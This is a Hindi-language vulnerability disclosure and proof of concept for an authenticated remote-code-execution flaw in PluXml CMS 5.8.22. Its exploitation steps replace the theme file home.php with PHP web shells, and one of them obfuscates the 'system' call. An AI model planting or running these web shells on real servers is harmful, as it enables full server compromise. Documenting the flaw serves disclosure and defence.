CVE-2025-67436

PluXml CMS 5.8.22 में प्रमाणित रिमोट कोड निष्पादन (RCE)

शोधकर्ता : Chowdhury Faizal Ahammed

स्थापना

git clone https://github.com/pluxml/PluXml.git
cd PluXml
ddev config --project-type=php --php-version=8.1 --docroot=.
ddev start

प्रमाण की अवधारणा

चरण-दर-चरण शोषण

प्रमाणीकरण: मान्य प्रशासक क्रेडेंशियल के साथ PluXML प्रशासक पैनल में लॉग इन करें थीम संपादक पर जाएं:

प्रशासन डैशबोर्ड तक पहुंचें यहां जाएं: Themes → Home.php → Edit

दुर्भावनापूर्ण पेलोड इंजेक्ट करें:

• home.php में मौजूदा सामग्री को PHP वेब शेल से बदलें

• उदाहरण पेलोड: <?php system($_GET['cmd']); ?>

• संशोधित फ़ाइल को सहेजें

निष्पादन ट्रिगर करें:

वेबसाइट के मुख्य होम पेज पर जाएं इंजेक्ट किया गया PHP कोड वेब सर्वर विशेषाधिकारों के साथ निष्पादित होता है

• रिमोट कमांड इस प्रकार निष्पादित किए जा सकते हैं: http://target.com/?cmd=whoami

रिवर्स शेल

वेबशेल का पेलोड

<html>
  <body>
    <form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
      <input
        type="TEXT"
        name="cmd"
        autofocus
        id="cmd"
        size="80"
      >
      <input
        type="SUBMIT"
        value="Execute"
      >
    </form>

    <pre>
<?php
if (isset($_GET['cmd'])) {
    $func_name = "sys" . "tem";
    $func_name($_GET['cmd']);
}
?>
    </pre>
  </body>
</html>

संदर्भ

• CVE-2025-67436: https://nvd.nist.gov/vuln/detail/CVE-2025-67436
• PluXML आधिकारिक वेबसाइट: https://www.pluxml.org/
• PluXML GitHub भंडार: https://github.com/pluxml/PluXml
• OWASP शीर्ष 10 - A03:2021 इंजेक्शन: https://owasp.org/Top10/A03_2021-Injection/